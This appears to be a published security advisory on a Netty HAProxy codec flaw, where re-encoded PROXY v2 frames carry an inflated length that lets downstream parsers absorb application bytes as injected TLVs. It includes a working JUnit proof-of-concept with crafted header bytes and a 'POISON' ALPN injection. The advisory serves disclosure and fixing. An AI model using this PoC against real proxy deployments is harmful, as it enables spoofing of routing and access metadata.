# GHSA-FRQ3-7PW6-36CG: Decoded nested HAProxy SSL TLVs re-encode with an inconsistent PROXY v2 length, allowing downstream TLV injection/desync

- Database: GitHub
- Severity: CVSS 8.2 (High)
- Published: 2026-12-02
- Modified: 2026-12-02

## Tracked as

- [CVE-2026-142456](https://cve.now/CVE-2026-142456.md): Io.netty/netty-codec-haproxy: netty: nested haproxy ssl tlvs re-encode with inconsistent proxy v2 length (tlv injection/desync)

## Affected versions

- io.netty:netty-codec-haproxy (Maven): from 4.1.49.Final, through 4.1.138.Final
- io.netty:netty-codec-haproxy (Maven): from 4.2.0.Final, through 4.2.18.Final

## Description

## Summary

`HAProxyMessageDecoder` exposes direct child TLVs of `PP2_TYPE_SSL` as both encapsulated children and flattened entries in `HAProxyMessage.tlvs()`. `HAProxyMessageEncoder` then recursively encodes SSL TLV children while also iterating the flattened list as top-level wire TLVs.

For a decoded PROXY v2 header containing nested SSL TLVs, decode-to-encode forwarding emits a PROXY v2 frame whose length field is larger than the actual bytes written. A downstream PROXY v2 decoder consumes bytes from the following application stream to satisfy the advertised PROXY header length. The supplied PoV shows those bytes being exposed as a downstream `PP2_TYPE_ALPN` TLV while the remaining application payload continues to the backend.

This affects the intended multi-layer proxy forwarding use case for `HAProxyMessageEncoder`: a Netty hop decodes a PROXY v2 frame, then relays connection metadata to another proxy/backend by re-encoding the decoded `HAProxyMessage`.

## Technical Details

`HAProxyMessage.readTlvs(...)` flattens direct SSL child TLVs into the top-level message TLV list. `HAProxyMessage.tlvNumBytes()` counts that flattened list. `HAProxyMessageEncoder.encodeTlv(...)` recursively encodes SSL children and uses `readSlice(...)` for non-SSL TLV content, mutating child reader indexes before the flattened child entries are encoded again.

The encoder computes the v2 length from one logical shape and writes a different mutated shape.

## PoC

Add `pov/HAProxyTlvRoundTripPovTest.java` to `codec-haproxy/src/test/java/io/netty/handler/codec/haproxy/`, then run:

```fish
./mvnw -q -pl codec-haproxy -am -Dtest=HAProxyTlvRoundTripPovTest#decodedNestedSslTlvsArePromotedOnReencode -DfailIfNoTests=false -Dsurefire.failIfNoSpecifiedTests=false test
```

Observed:

- original valid input PROXY payload length: `43`
- re-encoded declared payload length: `66`
- re-encoded actual payload bytes: `57`
- downstream consumes the next 9 application bytes as `PP2_TYPE_ALPN=POISON`
- following application bytes `GET /ok\r\n` remain application data

Minimal JUnit PoV:

```java
/*
 * Copyright 2026 The Netty Project
 *
 * The Netty Project licenses this file to you under the Apache License,
 * version 2.0 (the "License"); you may not use this file except in compliance
 * with the License. You may obtain a copy of the License at:
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package io.netty.handler.codec.haproxy;

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;

import java.util.List;

import static io.netty.handler.codec.haproxy.HAProxyMessageEncoder.INSTANCE;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;
import static org.junit.jupiter.api.Assertions.assertTrue;

public class HAProxyTlvRoundTripPovTest {

    @Test
    public void decodedNestedSslTlvsArePromotedOnReencode() {
        byte[] bytes = {
                13, 10, 13, 10, 0, 13, 10, 81, 85, 73, 84, 10,
                33, 17,
                0, 43,
                127, 0, 0, 1, 127, 0, 0, 1, -55, -90, 7, 89,
                32, 0, 28,
                5, 0, 0, 0, 0,
                32, 0, 13,
                1, 0, 0, 0, 0,
                33, 0, 5, 84, 76, 83, 118, 49,
                34, 0, 4, 76, 69, 65, 70
        };

        ByteBuf original = Unpooled.wrappedBuffer(bytes);
        HAProxyMessage decoded = HAProxyMessage.decodeHeader(original);
        EmbeddedChannel encoder = new EmbeddedChannel(INSTANCE);
        ByteBuf encoded = null;
        EmbeddedChannel downstream = null;
        HAProxyMessage downstreamMsg = null;
        ByteBuf forwardedAppData = null;
        try {
            List<HAProxyTLV> decodedTlvs = decoded.tlvs();
            assertEquals(3, decodedTlvs.size());
            assertEquals(31 + 16 + 7, decoded.tlvNumBytes());
            assertEquals(bytes.length - 16, ((bytes[14] & 0xff) << 8) | (bytes[15] & 0xff));

            assertTrue(encoder.writeOutbound(decoded.retain()));
            encoded = encoder.readOutbound();

            assertEquals(66, encoded.getUnsignedShort(14));
            assertEquals(57, encoded.readableBytes() - 16);
            assertTrue(encoded.getUnsignedShort(14) > encoded.readableBytes() - 16);

            downstream = new EmbeddedChannel(new HAProxyMessageDecoder());
            ByteBuf input = Unpooled.buffer(encoded.readableBytes() + 18);
            input.writeBytes(encoded, encoded.readerIndex(), encoded.readableBytes());
            input.writeBytes(new byte[] {
                    1, 0, 6, 'P', 'O', 'I', 'S', 'O', 'N'
            });
            input.writeBytes("GET /ok\r\n".getBytes(CharsetUtil.US_ASCII));

            assertTrue(downstream.writeInbound(input));
            downstreamMsg = downstream.readInbound();
            assertNotNull(downstreamMsg);
            HAProxyTLV last = downstreamMsg.tlvs().get(downstreamMsg.tlvs().size() - 1);
            assertEquals(HAProxyTLV.Type.PP2_TYPE_ALPN, last.type());
            assertEquals("POISON", last.content().toString(CharsetUtil.US_ASCII));
            forwardedAppData = downstream.readInbound();
            assertNotNull(forwardedAppData);
            assertEquals("GET /ok\r\n", forwardedAppData.toString(CharsetUtil.US_ASCII));
            assertNull(downstream.readInbound());
        } finally {
            if (forwardedAppData != null) {
                forwardedAppData.release();
            }
            if (downstreamMsg != null) {
                downstreamMsg.release();
            }
            if (downstream != null) {
                assertFalse(downstream.finishAndReleaseAll());
            }
            if (encoded != null) {
                encoded.release();
            }
            decoded.release();
            original.release();
            encoder.finishAndReleaseAll();
        }
    }
}
```

## Impact

In Netty multi-hop PROXY protocol deployments, an attacker who can send or influence an accepted PROXY v2 header can inject TLV-shaped prefix bytes from the application stream into downstream PROXY metadata. This can affect downstream routing, ALPN/authority handling, TLS/client-cert metadata checks, or other access decisions that trust PROXY v2 TLVs. Non-TLV-shaped following bytes can also stall or close downstream PROXY parsing.

This is not a generic Netty HTTP issue and does not affect applications that never use `netty-codec-haproxy` or never re-encode decoded `HAProxyMessage` objects.

## Suggested Fix

Encode a canonical TLV tree instead of the flattened decoder convenience list. At minimum, skip flattened child entries after encoding an `HAProxySSLTLV`, and avoid mutating TLV content reader indexes during encoding. Add a regression test that decodes nested SSL TLVs, re-encodes, verifies the length field equals the actual payload size, and verifies following stream bytes are not consumed as PROXY TLVs.

## Affected Package/Versions

`io.netty:netty-codec-haproxy`

Ecosystem: Maven

Confirmed on:

- current `4.2` branch head `7bae566a93e69409697fe57fa807910ba5c9720e`
- `4.2.15.Final`
- `4.1.135.Final`

Likely affected:

- `4.1.49.Final` and later `4.1.x`
- all `4.2.x` releases through `4.2.15.Final`

## Provisional Severity

High in affected multi-hop PROXY protocol deployments.

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` = `8.2`

Primary CWE: `CWE-130`; secondary CWE: `CWE-436`.

If the Netty team scopes downstream TLV trust outside Netty's security boundary, the same root cause still supports a lower-severity availability/desync advisory because non-TLV-shaped following bytes can stall or close downstream PROXY parsing.

## Why This Is Not Intended Behavior

The original PROXY v2 input frame is valid: its length field matches the bytes after the fixed 16-byte prefix. PROXY v2 uses that length field as the frame boundary, and `PP2_TYPE_SSL` is explicitly a container TLV that can hold second-level TLVs.

Netty successfully decodes that valid input, but re-encoding the decoded object produces a frame whose declared payload length is `66` bytes while only `57` payload bytes are emitted. The next downstream parser therefore consumes `9` bytes from the following application stream as PROXY metadata. That is a round-trip boundary corruption bug, not merely an application trust-model choice.

## References

- https://github.com/netty/netty/security/advisories/GHSA-frq3-7pw6-36cg

Page: https://cve.now/GHSA-FRQ3-7PW6-36CG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
